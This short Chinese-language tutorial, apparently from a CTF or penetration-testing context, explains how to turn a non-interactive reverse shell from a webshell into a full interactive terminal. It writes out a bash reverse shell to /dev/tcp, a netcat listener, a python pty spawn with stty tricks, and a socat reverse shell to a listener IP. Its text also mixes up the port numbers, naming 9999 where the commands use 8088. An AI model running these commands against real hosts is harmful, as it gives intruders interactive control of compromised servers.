由于脚本语言默认执行系统命令时,是没有获取 tty 的
当Webshell
反弹到服务器上时经常都是非交互式的,具体表现为控制符变成了转义序列。在某些时候就很难下一步操作了,比如需要使用vim
时显示一堆的控制符,在Ctrl+C
时却退出了Shell
升级Shell为交换式的小Tip:
python pty 方式
前提条件是目标主机上需要有python
- 查看监听服务器终端和
STTY
信息
1 | root@localhost:~# echo $TERM |
这里我们的终端信息为xterm
,stty的行数(rows)为47,列数(columns)为160
- 在监听服务器开启监听
1 | root@localhost:~# nc -lvp 8077 |
- 在目标机器执行反弹shell命令
1 | bash -i >& /dev/tcp/192.168.1.1/8077 0>&1 |
这里我们反弹的shell为bash,此时监听服务器收到了反弹的shell
1 | root@ctf:~# nc -lvp 8077 |
- 启用python交互式
1 | www-data@09010c0e86d04512:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")' |
按下
Ctrl+Z
,后台挂起刷新终端
1 | root@ctf:~$ stty raw -echo |
可能这时候就会有如下的提示询问终端类型,此时就可以直接输入终端信息然后回车
1 | reset: unknown terminal type unknown |
若无提示需要设置
1 | www-data@6aae652213e24b63:/var/www/html$ export TERM=xterm |
- 根据自己的终端信息设置如下参数
1 | $ export SHELL=bash |
socat 反弹Shell
socat的可执行文件可以从https://github.com/3ndG4me/socat/releases下载
- 在监听服务器开启监听
1 | $ socat file:`tty`,raw,echo=0 tcp-listen:8088 |
这里的9999
为监听的端口
- 把socat可执行文件上传到目标机器上,然后执行:
1 | user@414e07ee65d84196:~$ ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:8088 |
其中111.111.111.111:9999
为监听服务器的IP和端口